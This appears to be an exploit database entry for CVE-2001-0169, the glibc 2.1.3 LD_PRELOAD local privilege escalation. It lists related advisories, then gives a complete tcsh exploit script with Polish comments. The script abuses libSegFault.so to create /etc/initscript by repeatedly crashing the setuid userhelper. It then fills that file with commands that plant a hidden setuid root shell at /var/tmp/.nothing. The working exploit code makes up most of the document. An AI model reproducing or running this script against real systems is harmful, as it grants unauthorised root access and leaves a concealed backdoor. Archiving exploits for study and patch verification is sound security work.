GLIBC 2.1.3 - 'LD_PRELOAD' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec |
 | CVE-2001-0169 | 7 May 200104:00 | – | cve |
 | CVE-2001-0169 | 7 May 200104:00 | – | cvelist |
 | Debian DSA-039-1 : glibc | 29 Sep 200400:00 | – | nessus |
| Mandrake Linux Security Advisory : glibc (MDKSA-2001:012) | 6 Sep 201200:00 | – | nessus |
 | EUVD-2001-0169 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-0169 | 26 Mar 200105:00 | – | nvd |
 | Debian Security Advisory DSA 039-1 (glibc) | 17 Jan 200800:00 | – | openvas |
10
#!/bin/tcsh
# przyklad wykorzystania dziury w LD_PRELOAD
# shadow (tested on redhat 6.0, should work on others)
if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje
cd /lib
umask 0
setenv LD_PRELOAD libSegFault.so
setenv SEGFAULT_OUTPUT_NAME /etc/initscript
echo czekaj... to moze chwile potrwac...
while (! -e /etc/initscript )
( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null
end
echo utworzylem plik initscript
cat > /etc/initscript << _init_
cp /bin/bash /var/tmp/.nothing
chmod 6755 /var/tmp/.nothing
rm /etc/initscript
_init_
echo i nawet go podmienilem
# milw0rm.com [2001-03-04]Data
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22 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00861